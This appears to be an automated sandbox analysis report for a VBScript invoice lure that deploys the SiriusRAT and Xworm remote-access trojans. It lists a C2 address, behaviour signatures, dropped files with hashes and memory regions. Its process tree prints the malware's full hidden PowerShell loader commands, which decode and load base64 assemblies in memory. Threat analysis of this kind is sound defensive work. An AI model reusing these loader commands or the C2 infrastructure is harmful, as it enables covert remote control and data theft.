Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 01:40

General

  • Target
    INVOICE_2026_08.vbs
  • Size 4.9MB
  • Sample260930-b3kr6assht
  • SHA256 7f3ee0a4f9fbbbf7bf916021e4b189e22e28b7ca66ccfbac8ad297ff3e8e840d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • siriusrat

C2
  • 31.40.204.71:9876

Signatures

  • Family: SiriusRAT

    SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Detects SiriusRAT 1 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE_2026_08.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:4464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$lectorne=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$virtualize=[Convert]::FromBase64String($lectorne);[AppDomain]::CurrentDomain.Load($virtualize)|Out-Null;[Win32.RMP.Cls_gvizDkIUov]::Met_gvizDkIUovnr('GVIGPvnSxHkzuBF31yzvTYFz8CD8Pdmzz9jSm6n+PNkbskC2ksi8wX9t/CjlSMNf','','LGvd74jH2zopEr2Qw6tP9SKNy4tqssMIdHgFgWytdWweIeIkJvkSCNGOWY+7tmb2','fKd7ToTctStZYkU2+9uoS+hDEkzDwSRdpTGS1NFuLLA=','bngIebzZGcVjXWTGEgjo30+ngsSLARJH8KEvG45lWdc=','','kIe9I1Z7jPE8tOHYvELhPxSZQUi+cRKUe7Z9D/ZDY04=','','','gXgbnJMXn99wba/G2x3EmNHwtFv1FZZpf2nW+HIWjbztrpiNmnde68/PDA79nMAV','iGfI9aBlOdAD/LgWScQRRoXFUpjxcroJQvfuTqfYrC4=','dA0PRhKJPBRwpJhmjRzsJc/gCSFk7TABLyOnZadggPA=','d9iYfB6tYs7kNESuP2wpKawTkTJ5NMfoaRZ4vmmNTm8=','','AuBBAmExJvEImussYZnCz2lSY/uwlCsMhMJ6/Pn6ngI=','zpDkszL4q6NbS8KdZZFHd/XXc6FPTQ6CIZ8cisWR3aU=','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2464
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$lectorne=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$virtualize=[Convert]::FromBase64String($lectorne);[AppDomain]::CurrentDomain.Load($virtualize)|Out-Null;[Win32.RMP.Cls_gvizDkIUov]::Met_gvizDkIUovnr('GVIGPvnSxHkzuBF31yzvTYFz8CD8Pdmzz9jSm6n+PNkbskC2ksi8wX9t/CjlSMNf','','LGvd74jH2zopEr2Qw6tP9SKNy4tqssMIdHgFgWytdWweIeIkJvkSCNGOWY+7tmb2','fKd7ToTctStZYkU2+9uoS+hDEkzDwSRdpTGS1NFuLLA=','bngIebzZGcVjXWTGEgjo30+ngsSLARJH8KEvG45lWdc=','','kIe9I1Z7jPE8tOHYvELhPxSZQUi+cRKUe7Z9D/ZDY04=','','','gXgbnJMXn99wba/G2x3EmNHwtFv1FZZpf2nW+HIWjbztrpiNmnde68/PDA79nMAV','iGfI9aBlOdAD/LgWScQRRoXFUpjxcroJQvfuTqfYrC4=','dA0PRhKJPBRwpJhmjRzsJc/gCSFk7TABLyOnZadggPA=','d9iYfB6tYs7kNESuP2wpKawTkTJ5NMfoaRZ4vmmNTm8=','','AuBBAmExJvEImussYZnCz2lSY/uwlCsMhMJ6/Pn6ngI=','zpDkszL4q6NbS8KdZZFHd/XXc6FPTQ6CIZ8cisWR3aU=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
      • Creates a file in the Startup directory
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_office_path
      • outlook_win_path
      PID:5260
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_d1c0c2d67c384ce9922dc78f5feeb928.cs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES89B8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC20D900E4E5244611AE3B385AE3E0DA63.TMP"
          4⤵
            PID:3768
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tckqcn.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4904
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4272
        • C:\Users\Admin\AppData\Local\Temp\CasPol.exe
          "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 5260
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2032
    • C:\PROGRA~3\scvost.exe
      C:\PROGRA~3\scvost.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4304
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
        2⤵
          PID:4316

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            scvost.exe

            • Path C:\PROGRA~3\scvost.exe
            • Size 99KB
            • SHA256 57e9675902b443085e37ead57dfed97de6bb61321682bc93aff30f16b5ca5aeb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 bf1aa6ac9ad2aba7c10a908fe04522937f89215eed432273fe494d0b6a827426
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
            • MD5 SHA1 SHA512

            CasPol.exe

            • Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
            • Size 5KB
            • SHA256 9cf5dde7377289f7e360e3036e457ced9ffdce3108539b9c3702f274d271ca94
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RES89B8.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES89B8.tmp
            • Size 1KB
            • SHA256 e40762531cc016ad8c8f3d2de2ea63bc0961054714deba0eeb98948bbe7e8b82
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_pu0tlnan.ldp.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pu0tlnan.ldp.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            tckqcn.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\tckqcn.vbs
            • Size 4.6MB
            • SHA256 5af5cf9563985cf0543e6025cfb453f18ace48380b964fd815d9344141cb2dfd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSC20D900E4E5244611AE3B385AE3E0DA63.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC20D900E4E5244611AE3B385AE3E0DA63.TMP
            • Size 1KB
            • SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
            • MD5 SHA1 SHA512 TLSH

            guardian_src_d1c0c2d67c384ce9922dc78f5feeb928.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_d1c0c2d67c384ce9922dc78f5feeb928.cs
            • Size 4KB
            • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1816-8-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-12-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-15-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-16-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-17-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-21-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-20-0x0000024677A40000-0x0000024677A62000-memory.dmp

            memory/1816-19-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-13-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-14-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-25-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-11-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-0-0x00007FFB4844F000-0x00007FFB48450000-memory.dmp

            memory/1816-7-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-4-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-3-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/1816-2-0x00000246777C0000-0x00000246777E2000-memory.dmp

            memory/1816-1-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp

            memory/2032-58-0x0000000000850000-0x0000000000858000-memory.dmp

            memory/4272-67-0x0000000005DE0000-0x000000000613B000-memory.dmp

            memory/4272-68-0x0000000006160000-0x000000000617E000-memory.dmp

            memory/4272-69-0x00000000061C0000-0x000000000620C000-memory.dmp

            memory/4272-61-0x0000000005360000-0x00000000059AA000-memory.dmp

            memory/4272-63-0x0000000005AC0000-0x0000000005AE2000-memory.dmp

            memory/4272-64-0x0000000005B60000-0x0000000005BC6000-memory.dmp

            memory/4272-59-0x0000000002900000-0x0000000002936000-memory.dmp

            memory/4304-62-0x000001B8A4C50000-0x000001B8A4C72000-memory.dmp

            memory/4316-72-0x0000000140000000-0x0000000140558000-memory.dmp

            memory/5096-35-0x00000000004F0000-0x000000000050C000-memory.dmp

            memory/5260-26-0x0000000005D70000-0x0000000005E0C000-memory.dmp

            memory/5260-38-0x00000000089A0000-0x0000000008A1C000-memory.dmp

            memory/5260-27-0x0000000005E10000-0x0000000005E76000-memory.dmp

            memory/5260-28-0x0000000006440000-0x00000000069FA000-memory.dmp

            memory/5260-39-0x0000000008B80000-0x0000000008B88000-memory.dmp

            memory/5260-36-0x0000000008320000-0x00000000083B2000-memory.dmp

            memory/5260-71-0x0000000008F20000-0x00000000090E2000-memory.dmp

            memory/5260-22-0x0000000000400000-0x000000000041C000-memory.dmp